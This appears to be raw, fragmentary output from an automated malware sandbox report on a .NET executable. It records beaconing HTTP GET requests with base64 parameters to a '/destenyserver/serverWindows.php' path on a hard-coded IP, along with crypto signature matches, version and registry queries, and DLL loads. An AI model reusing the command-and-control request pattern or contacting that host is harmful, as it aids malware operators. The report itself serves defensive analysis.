text/plainUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "7387bad2ace27b916ae009433495f2b4" in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Type" in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 78.24.221.196Connection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 78.24.221.196Connection: Keep-Alive"2a:T507,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to decrypt/decode data Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Contains ability to perform symmetric encryption (Dotnet) Matched sigs: Calls an API typically used to decrypt data Matched sigs: HTTP requests contain Base64 strings Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains ability to perform crypto operations Matched sigs: YARA signature match - AES encryption Matched sigs: Dotnet file contains encryption/decryption functions2b:Ta3e,"8B744166EECACE320158F4D0F704B13E.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000009d001a02000000000000000000000000000000000000140098001a0200000000000000000000206c0c000000000020000000000000000000000098490e0010690c00306a0c00b0980e00d86d0c0000000000ccf856000000000028fb560095e1e576a80f0700feffffffff2be9769a2ae97664c5c875b69fe976000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000064c5c875b0980e0064c5c875 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000000074010c0000000000030000000000000050010c0017000000980810000000000017000000000000001400000000000000000000000000000000000000000000000200000270ca0f007e04007a0000000000000000000000008000000000000000ea2000caa8e00f000100000000000000020000000c00000060980f0060980f005b980f00000000000000000000000c00000000012cf12b00000000004cf72b0095e1e57690010700feffffff435ce9765059e97694000000a00000005a980f0058980f0094000000d0f22b00fdfe407518000000946144c3a383a46b00042b00 (UID: 00000000-00003772)2c:T16f0,"8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000e05b0e003cfb5600145ce976435ce97608fc56000100000094010c0001000000bcfa5600935cea764083f176d4a0e97604e9b87608fc5600010000000100000058bc0e00000000008cfa5600bcfa560028fb560095e1e57640170700feffffffd4a0e9761bbef1740000c37500000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100006300720069007000740073005c003b0043003a005c005500730065000b00010a778c0008e00a10000c0b1000380b1000640b1000900b1000bc0b1000e80b1000140c1000400c10006c0c1000980c1000c40c1000f00c10001c0d1000480d1000740d1000a00d10006f006e005c005000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100c48cf4dd04b29caa753437fd6b00000000010000000000000001000000b0f4dd0400000000dcf5dd04ecf4dd04f8581a00bcf4dd048f9caa753437fd6b02000000000000001800000001000000c0f4dd042823646900000c00000000000c000000c80e1a00ccf4dd042f99fd6b0c000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006a90e21a0000000000b0f31105984ae56a90e21a00fcf31105d724e46a90e21a0020000000000000001c39e46a1cf51105282b1b0000000000282b1b00020000000000000018000000282b1b0000f411052823646900000c00000000000c000000282b1b000cf411052f99fd6b0c000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006a70e91a000000000060f31905984ae56a70e91a00acf31905d724e46a70e91a0020000000000000001c39e46accf4190530e7b3040000000030e7b30402000000000000001800000030e7b304b0f319052823646900000c00000000000c00000030e7b304bcf319052f99fd6b0c000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006a78eb1a0000000000a0f32105984ae56a78eb1a00ecf32105d724e46a78eb1a0020000000000000001c39e46a0cf5210588fdb3040000000088fdb30402000000000000001800000088fdb304f0f321052823646900000c00000000000c00000088fdb304fcf321052f99fd6b0c000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006a60a61b000000000040ef1d05984ae56a60a61b008cef1d05d724e46a60a61b0020000000000000001c39e46aacf01d0560bb1b000000000060bb1b0002000000000000001800000060bb1b0090ef1d052823646900000c00000000000c00000060bb1b009cef1d052f99fd6b0c000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031006a68a81b000000000030ed2a05984ae56a68a81b007ced2a05d724e46a68a81b0020000000000000001c39e46a9cee2a0560d61b000000000060d61b0002000000000000001800000060d61b0080ed2a052823646900000c00000000000c00000060d61b008ced2a052f99fd6b0c000000 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000200000000000000d8ebd0759071b60400d0fd7f9a5cea7600f0fd7f70b52b0044d0fd7f00000000400000003f0000002500000000d0fd7f64b52b00c15cea766082f1762500000000d0fd7f9a5cea7600f0fd7f88b52b005789e9768083f1761317f274d8ebd075 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003772) "mobsync.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000330032005c0053006300720069007000740073005c003b0043003a000b00010aed150008a8fc1f00d4fc1f0000fd1f002cfd1f0058fd1f0084fd1f00b0fd1f00dcfd1f0008fe1f0034fe1f0060fe1f008cfe1f00b8fe1f00e4fe1f0010ff1f003cff1f0068ff1f005000790074006800 (UID: 00000000-00004000) "smss.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000650000006f00740065006300740065006400440061007400610000004100500055004200570053005c0041007000700044006100740061005c004c006f00630061006c005c00500072006f00070000070b330000386a460078f74500740068006f006e005c0050007900740068006f00 (UID: 00000000-00005812) "explorer.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000686c35008cf92c00145ce976435ce97658fa2c000100000094013300010000000cf92c00935cea764083f176d4a0e97684f5fd7658fa2c00010000000100000080c0350000000000dcf82c000cf92c0078f92c0095e1e57670083800feffffffd4a0e9761bbef1740000c37500000000 (UID: 00000000-00003900) "explorer.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031002e50726f66696c6553656374696f6e2c2053797374656d2e5765622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d623033663566376631316435306133612220616c6c6f77446566696e6974696f6e3d22 (UID: 00000000-00003900) "mobsync.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000220000000000000000000000240000000d00000000000000010000007ce36c008000000000000000000000002200000000000000000000002400000002000000000000000000000080e46c00180000000000000000000000220000000000000000000000240000000d00000000000000 (UID: 00000000-00001400)2d:T736,"mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "mobsync.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")2e:T9b8,"mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")2f:T580,"mobsync.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\2E4916B07F3DE90C8DDE2566FD9B9B400D89BBBA"; Key: "BLOB") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\E6A3B45B062D509B3382282D196EFE97D5956CCB"; Key: "BLOB") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\F5AD0BCC1AD56CD150725B1C866C30AD92EF21B0"; Key: "BLOB") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "mobsync.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "mobsync.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")30:Tb91b,"8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\IMM32.DLL (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\a891970b44db9e340c3ef3efa95b793c\Microsoft.VisualBasic.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\e114780fd3ea5727401c06ea4f22ef35\System.Management.ni.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\\wminet_utils.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\274e43040c8a7a02ef1065db3283005a\System.Runtime.Serialization. (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003772) "8B744166EECACE320158F4D0F704B13E.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003772) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004000) "mobsync.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004000) 